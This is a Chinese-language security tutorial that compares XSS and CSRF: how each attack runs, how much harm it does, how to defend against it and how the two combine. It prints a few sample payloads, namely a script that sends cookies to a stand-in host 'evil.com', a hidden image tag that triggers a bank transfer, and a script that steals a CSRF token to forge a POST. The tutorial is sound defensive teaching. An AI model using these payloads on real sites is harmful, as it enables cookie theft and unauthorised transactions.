CSRF 与 XSS 全面对比
更新: 5/24/2026 字数: 0 字 时长: 0 分钟
CSRF(跨站请求伪造)和 XSS(跨站脚本攻击)是 Web 安全领域最经典的两大漏洞,名字相似但本质完全不同。理解二者的区别与联系,是构建安全防御体系的基础。
一、一句话本质区别
| 攻击 | 本质 | 形象比喻 |
|---|---|---|
| XSS | 攻击者在正规站点注入恶意脚本,欺骗浏览器执行 | 在你信任的银行柜台贴了一张假告示,骗你照着做 |
| CSRF | 攻击者借用用户已登录的身份,让浏览器替自己向正规站点发请求 | 拿着你签了字的空白支票,替你去银行办事 |
核心区别:XSS 是站点信任了用户输入导致代码注入;CSRF 是站点信任了浏览器请求导致身份被冒用。
二、核心维度对比
| 对比维度 | XSS(跨站脚本攻击) | CSRF(跨站请求伪造) |
|---|---|---|
| 全称 | Cross-Site Scripting | Cross-Site Request Forgery |
| 攻击本质 | 代码注入攻击 | 身份冒用攻击 |
| 攻击目标 | 窃取数据 / 控制用户浏览器 | 让用户在不知情下执行敏感操作 |
| 信任滥用方向 | 滥用"站点对用户输入的信任" | 滥用"站点对浏览器 Cookie 的信任" |
| 是否需要用户登录 | 不一定(看攻击目标) | 必须(无登录态无法伪造身份) |
| 是否需要用户交互 | 通常需要(访问注入页面) | 需要(访问恶意页面) |
| 攻击代码运行位置 | 在正规站点域内运行 | 在恶意站点域内运行 |
| 能否读取响应 | 可以(同域内运行,可读 DOM/Cookie) | 不能(受同源策略限制,只能"盲发"请求) |
| 是否需要正规站点漏洞 | 必须(XSS 注入点) | 必须(缺少 CSRF 防护) |
| 危害程度 | 极高(可演化为任意攻击) | 高(仅限可发起的请求范围) |
| 防御难度 | 难(注入点防不胜防) | 相对容易(防御方案成熟) |
三、攻击流程对比
XSS 攻击流程
1. 攻击者发现正规站点存在 XSS 注入点(如评论区未过滤)
2. 攻击者将恶意脚本提交到正规站点(如 <script>steal()</script>)
3. 正规站点未过滤,将脚本存入数据库 / 直接回显
4. 受害用户访问该页面
5. 浏览器在【正规站点域内】执行恶意脚本
6. 脚本可:窃取 Cookie、读取页面、伪装操作、记录键盘…关键点:恶意代码运行在 bank.com 域内,拥有 bank.com 的全部权限。
CSRF 攻击流程
1. 用户登录正规站点 bank.com,浏览器持有有效 Cookie
2. 用户在未登出状态下访问恶意站点 evil.com
3. 恶意站点页面内嵌伪造请求(如 <img src="bank.com/transfer?...">)
4. 浏览器自动携带 bank.com 的 Cookie 发起请求
5. bank.com 校验 Cookie 通过,执行操作
6. 攻击者达成目的(转账/改密码等),用户全程无感关键点:恶意代码运行在 evil.com 域内,无法读取 bank.com 的任何信息,只能"盲发"请求。
四、典型攻击示例对比
XSS 示例
正规站点的搜索功能未过滤输入:
<!-- 用户搜索 "<script>fetch('evil.com?c='+document.cookie)</script>" -->
<!-- 站点直接回显: -->
<p>搜索结果: <script>fetch('evil.com?c='+document.cookie)</script></p>任何访问该页面的用户,Cookie 都会被发送到 evil.com。
CSRF 示例
恶意站点页面:
<!-- 用户访问 evil.com 时,浏览器自动发送转账请求到 bank.com -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">只要用户在 bank.com 处于登录态,转账就会成功。
五、危害程度对比
XSS 可以做什么?
- 窃取 Cookie / Token / LocalStorage(包括 CSRF Token)
- 截获键盘输入、表单内容
- 修改页面内容(钓鱼、挂马)
- 以用户身份执行任意操作(XSS 可以完整执行 CSRF 的所有效果)
- 发起蠕虫传播(如著名的 Samy Worm)
- 利用浏览器漏洞攻击操作系统
CSRF 可以做什么?
- 执行用户在正规站点上能做的任何"写"操作:
- 转账、支付
- 修改密码、邮箱、绑定手机
- 发帖、删除内容、关注/取关
- 提权、授权第三方应用
- 但是:无法读取响应内容(受同源策略限制),所以纯 CSRF 拿不到敏感数据
危害结论:XSS ⊇ CSRF。XSS 几乎可以做 CSRF 能做的一切,反之则不行。所以业界常说"XSS 是 CSRF 防御的天花板"——存在 XSS,所有 CSRF Token 防御都形同虚设。
六、防御方案对比
| 防御层面 | XSS 防御 | CSRF 防御 |
|---|---|---|
| 核心思路 | 过滤 / 转义用户输入 | 校验请求来源 / 身份令牌 |
| 输入侧 | 严格输入校验、白名单过滤 | (无对应措施) |
| 输出侧 | HTML 实体编码、JS 转义、属性转义 | (无对应措施) |
| 协议层 | Content-Security-Policy (CSP) | SameSite=Lax/Strict Cookie |
| 存储层 | Cookie 加 HttpOnly(XSS 偷不到) | Token 不存 Cookie / 双重提交 Cookie |
| 应用层 | 使用模板引擎自动转义、避免 innerHTML | CSRF Token(同步令牌模式) |
| 接口层 | 避免 eval / document.write 等危险 API | 校验 Origin / Referer |
| 业务层 | 富文本场景使用白名单过滤库(DOMPurify) | 敏感操作二次验证(验证码 / OTP / 密码) |
| 协议规范 | 输出时按上下文选择正确的编码方式 | 严格区分 GET 与状态变更方法 |
防御复杂度
- XSS 防御:复杂且持续。每个用户输入点都是潜在风险,富文本、Markdown、URL 参数、Header、文件名等都可能成为注入面,需要长期投入。
- CSRF 防御:相对简单且方案成熟。CSRF Token + SameSite Cookie + Origin 校验三板斧基本可以解决,框架(Spring Security、Django、Laravel 等)大多内置开箱即用。
七、二者的联系与组合攻击
1. XSS 可以"包含" CSRF
XSS 拿到 CSRF Token 后,可以构造完美的伪造请求,绕过所有 CSRF 防御:
// XSS 注入后的脚本
const token = document.querySelector('meta[name=csrf-token]').content;
fetch('/transfer', {
method: 'POST',
headers: { 'X-CSRF-Token': token, 'Content-Type': 'application/json' },
body: JSON.stringify({ to: 'hacker', amount: 10000 })
});服务端看到 Token 正确,毫无防备地执行。
2. CSRF 可以"放大" XSS
如果某个 XSS 漏洞需要管理员才能触发(如后台编辑器),攻击者可以先用 CSRF 诱导管理员在自己浏览器中执行某个操作,触发存储型 XSS,进而控制整个后台。
3. 实战中往往是组合拳
真实攻击场景中,XSS + CSRF + SSRF + 业务逻辑漏洞往往链式利用,单一漏洞的危害会被指数级放大。
八、用一个真实场景理解差异
场景:你登录了网银 bank.com,背景中开着这个标签页。
如果遇到 XSS
bank.com 的某个页面(如客服留言)有 XSS 漏洞,攻击者注入了脚本。你访问该页面 → 浏览器在 bank.com 域内执行恶意脚本 → 脚本读取你的余额、转账记录、Cookie,甚至模拟你点击转账按钮并填好金额——攻击者全程能看到结果。
如果遇到 CSRF
你点了一个钓鱼链接,打开了 evil.com。该页面悄悄发了一个 bank.com/transfer 请求 → 浏览器自动带上 Cookie → 转账成功。但攻击者看不到响应(同源策略保护),他只知道请求发出去了,但不知道是否成功、余额多少——他是"盲操作"。
九、记忆口诀
| 维度 | XSS | CSRF |
|---|---|---|
| 谁被骗了 | 浏览器(执行恶意脚本) | 服务器(信任伪造请求) |
| 代码在哪运行 | 正规站点域内 | 恶意站点域内 |
| 能读响应吗 | 能 | 不能 |
| 必须登录吗 | 不一定 | 必须 |
| 防御核心 | 转义输出 | 校验来源 |
一句话记住:
- XSS = 让你的浏览器替攻击者干活(看得见、控得住)
- CSRF = 让你的浏览器替你自己干攻击者想做的事(看不见、控不住)
十、防御优先级建议
如果团队资源有限,优先级永远是 XSS > CSRF:
- 先修 XSS:因为 XSS 一旦存在,CSRF 防御全部失效。
- 再修 CSRF:CSRF 防御方案成熟,框架内置即可。
- 持续做 CSP:CSP 是 XSS 的"安全气囊",即使有注入也能大幅降低危害。
- 敏感操作做二次验证:作为最后一道防线,无论 XSS 还是 CSRF 都能拦住。
一句话总结
XSS 是"代码层面的信任崩塌"——站点错信了用户输入;CSRF 是"身份层面的信任崩塌"——站点错信了浏览器请求。 前者让攻击者"成为你",后者让攻击者"指挥你"。防御 XSS 靠严格的输入输出隔离,防御 CSRF 靠严格的请求来源校验——二者缺一不可,且 XSS 优先级始终高于 CSRF。